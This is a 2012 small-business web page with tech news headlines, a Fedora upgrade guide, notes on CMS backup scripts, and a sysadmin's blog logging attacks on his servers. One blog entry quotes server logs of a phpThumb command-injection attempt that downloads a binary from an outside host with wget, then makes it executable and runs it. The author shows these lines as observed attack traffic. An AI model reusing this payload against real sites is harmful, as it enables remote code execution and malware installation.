Happy Cat Technologies welcomes you to it's business web site. We look forward to new clients and exciting projects for 2012. Always remember that help is a phone call away, and we'll try to get you purring again as soon as possible. For March 2012, we continue documenting Fedora 14 to 16 and Gnome 3. We'll also try to get some coding done... The front has been idle for a bit now, with nothing of note occurring in a couple of weeks…
Alfred P. Reaud, Proprietor, Happy Cat Technologies.WELCOME!
CNET News
- Schmidt challenges grads to turn off the screen for an hour a day
- Yahoo strikes deal to sell half of Alibaba stake
- Thiel's college dropout plan scrutinized by '60 Minutes'
- Outcry after Facebook removes pic of dying baby
- Imports of HTC smartphones slowly resume
- Nasdaq acknowledges trading problems with Facebook's IPO
- Apple, Samsung CEOs to meet in SF tomorrow
- Hacktivists claim takedown of Chicago police Web site
- How Zuckerberg's wedding reveals Facebook's problem
- Microsoft quietly launches So.cl social network
Wired Top Stories
- Watch Live: Annular Solar Eclipse Creates Ring of Fire
- A former pony-tailed student communist leading a rag-tag band of ex-Trotskyists, Maoists, champagne socialists and greens
- The DIWire Bender, a wire-bending fabricator.
- A Google-a-Day Puzzle for May 20
- Stop the Tarbosaurus Auction!
- Which of These Insane Stunt Crews Will Be the <cite>Jackass</cite> of the Future?
- SpaceX Launch Aborted As Engine Ignition Begins
- A Google-a-Day Puzzle for May 19
- Microsoft to Launch Amazon EC2 Rival. Again
- Kickstarter of the Week: A Portable Scanner for Smartphones
SlashDot
- Facial Recognition Cameras Peering Into Some SF Nightspots
- Who's Pirating Game of Thrones, and Why?
- Rare 'Annular Solar Eclipse' Tonight
- Turning Soap Film Into a Projector Screen
- Programming — Now Starting In Elementary School
- Assange Stands 'Real Chance' of Election In Australia
- Apple Lifts Ban On the Word "Jailbreak"
- Pakistan Blocks Twitter Over 'Blasphemous' Images
- ARM, Intel Battle Heats Up
- Protecting State Secrets Through Copyright
LATEST CONTENT
Fedora 14 Upgrade to Fedora 16 and GNOME 3: Not for the faint hearted...
After waiting until Fedora 14 end of life to occur, I upgraded all systems to Fedora 16 except for one that had insufficient memory. Though the documentation says 768M, you should have at least one GB of ram and three times that in swap. It is important to note, before you start, that the upgrade process works better from a root shell than from the X-Windows GUI. Editing inittab may be required to allow this.
The first thing you want to do with this upgrade is, obviously, back up any critical data onto a machine that you can still operate with, such as a laptop or onto non-volatile media such as good quality DVDs. However, if you don't have another computer, I would recommend that you do an extra dose of your medication of choice before you start. Next install grub2 via the command yum install grub2, if it isn't already installed. This will save your ass when the install doesn't start. Having grub2 will allow you to manually start the upgrade via the grub command line or fall back to the old kernel version if all else fails.
Next we need to install preupgrade via the command yum install preupgrade. Now before starting, insure that you back up everything that you hold dear. That includes pictures, records, videos, anything that you can't afford to loose. Some things may not work as expected or may not work at all after the upgrade.
The next command that
Restoring the whole site
Restoring the whole site to a working state from an online site to a testing server, or from a testing server to an online site is a bit trickier. One has to account for differences in the server configurations. This leads to the locking of certain files on both the testing server and online server so that accidental updating doesn't occur. These files are usually the CMS configuration file, and .htaccess in the document root.
Hence in the following script, areas are left out that would be too specific to certain installations to be generically useful.
full_site_restore.sh
Backing up the whole site
The following script integrates backing up the database with backing up the site code. Please note that descriptions place-hold for actual values in the script. Those actual values must be edited in, depending on your site configuration, for the script to work.
This script is adapted from the updated fullsitebackup.sh script created by Bristolguy on Drupal.org. This script is currently operational on Fedora 14, and has not been tested on other versions of Linux.
full_site_backup.sh
Backing up the CMS Database
The CMS database is the heart of any content management system. It's loss or damage will result in the loss and or damage of all of your hard work, and that of your commentators, posters, and contributors. Below, are two scripts that complement each other, one backs up the database into a SQL file, the other restores it from a SQL file.
This script also allows porting between a testing server and the on-line site. In the script is a test for a folder called testing.server, discussed in the first page of this series, which differentiates between the server on-line and the testing server.
backup_db.sh
Content Management System Backup Scripts
Your content management system (CMS), and more importantly it's associated database tables, are subject to damage and attack. While most hosting providers provide daily backups, there are other tasks that necessitate tasks similar to backing up a CMS site.
BACKHACKER BLOG - Very Quiet on the Server Front
Unusually so, actually. Some of the methods may be working. Attack vectors cycle through periodically, some brute forcing the root, some brute forcing non-existent accounts. I still haven't figured out how to trap the password strings coming in on the brute forcing. Majority of attacks last week from CN, then US.
The activity has changed to the on-line servers, where I occasionally get DOS attacks. The GoDaddy servers throttle down if they sense one going on, but sometimes mistake valid activity for a DOS attack. All that takes latency to a 3-7 second level, which is OK as long as it stays on the lower end.
A new tool that I'm learning is Metasploit. An excellent penetration testing tool, but with a fairly steep learning curve. Maybe one of these days I'll make enough money to buy the pro version…
BACKHACKER BLOG - Disecting a Spoof Craigs List Email
Today's blog entry will cover a little live action. This is a continuation of the attacks from French domains. Contrary to popular belief, all online attacks DO NO ORIGINATE FROM CHINA!
Following the reciept of the following, I examined the email in detail (clicking on the image opens a full size image in another tab or window).
The most important above is that when you hover over the link, you can see in the status bar
BACKHACKER BLOG - Punishment DDOS attacks on online server
Attacks have ceased pretty much on the testing server, but I must have pissed somebody off last night. WOOT!
DDOS attacks started in the late evening, starting probably around 21:00 through at least probably midnight. Can't actually tell because I can't access the httpd logs. The positive note is this lead to me asking GoDaddy where the httpd logs are, something I wasn't aware of (in FTP Manager). Bluehost allow access to the server logs, but Yahoo did not when I used them. It's a virtual machine so the logs don't compromize any hosting provider confidential data...
The offending IP addresses were:
- 91.121.170.124 - FR, I know the bot-net there, and they have been getting inverse “Pavolovian Dog” training. I am almost willing to bet the control node resides in this general IP area,
BACKHACKER BLOG - Rise of the Machine. A week of wetware against bots...
A very interesting week in the wetware vs. botware wars. Patterns and common vulnerabilities are starting to come out of obscurity. New attack vectors have presented themselves. Indeed exciting times, LOL.
One of the most interesting, attack wise, comes from France and Malaysia. It appears to be a CMS scan, but I don't believe it is. There are embedded bash shell commands in the query string that are directed at specific sites that aren't my IP. I've included two samples below:
161.139.195.191 - - [23/Dec/2011:02:53:21 -0700] "GET /wp-content/plugins/com-resize/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20
-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk/barbut6;c
hmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 404 3602161.139.195.191 - - [23/Dec/2011:02:53:19 -0700] "GET /admin/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]
=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk
/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 403 14168
Don't waste your time, folks, I penetration test my own systems regularly for weaknesses,
BACKHACKER BLOG - Persistent attacks from one IP in India
Today's memorable entry is from Trivandrum Kerala, India, in the State of Delhi: 117.243.250.249
They are memorable because for some reason fail2ban didn't trap them. So they got to attack the shell 495 times instead on the nominal five. Zenmap indicates an unusual setup, with some open ports that are normally filtered, and things not normally seen, such as ipp, wpgs, route, and sip. An unknown port is open at 20717.
Openvas reports 14 low level weaknesses, with a server running at port 631. The interpretation of that is that the hacking is intentional, because without weakness present, it somewhat eliminates unintentional bots, as with the Church last week. Most of the systems examined so far have certain weaknesses present, such as http TRACE. This IP is clean of even moderate weaknesses.
Makes one wonder why they waste their
PC News
- Reports: Nasdaq Admits Technical Bugs Affected Facebook IPO Trading
- 3 Free Apps to Guard Android from Malware
- Woz Signs on to Consult for Sorkin's Steve Jobs Movie
- Twitter Tweaks Privacy Policy, Adds Custom Digests
- Mobile Data Demands Expected to Skyrocket
- Light Trikes Let You Do Battle Tron-Style, Are Also Super Cool
- Nintendo Wii U Not Yet Out, But Purported Photo Surfaces
- Why Apple is Making OS X More Like iOS
- Mercury Accelsior SSD an Impressive Upgrade for Mac Pro
- Cisco's Wireless Unit Shifts Emphasis to 'Mobility'
EnGadget
- Inhabitat's Week in Green: NY Design Week, a hybrid Porsche and recycled sportswear
- Motorola skipping Ice Cream Sandwich for some devices, worries it'll make them fat
- Refresh Roundup: week of May 14th, 2012
- Switched On: Clash of the troubled titans
- Samsung's Focus 2 arrives at AT&T today, a slice of LTE-equipped Mango for $50
- Voyager Mobile shakes off network issues, launches a few days behind schedule
- Customs slowly letting HTC handsets into the US, can't say which ones
- NVIDIA outs budget GeForce GT 610, GT 620 and GT 630, no Kepler in any of 'em
- Samsung chief: we're open to a cross-licensing deal with Apple, but 4G chip shortage might last until the fall
- Kudo Tsunoda: 'Waiting for the next big thing isn't about waiting for the Kinect 2'
Gizmodo
- 100 Ideas That Changed Graphic Design [Design]
- Why Real Men Eat Red Meat [Health]
- Inspirational Boy with Cystic Fibrosis Awesomely Dances While Tied to a Breathing Machine [Video]
- Watch Tonight's Ring of Fire Solar Eclipse Right Here [Eclipse]
- Reversing Logos with Different Brands Is So Confusing [Art]
- Adorable Nine-Year-Old Girl Reviews Her School Lunches on Her Blog [Food]
- Watch the SpaceX Falcon 9 Undergo Performance Anxiety With the Whole World Watching [Video]
- What Kind of Geek Are You? [Geek]
- Very NSFW: What Happens When You Visit an Internet Stranger Who Wants to Drink Your Pee? [Nsfw]
- A Historically Awesome Gaming Setup with Every Console in Existence [Video]


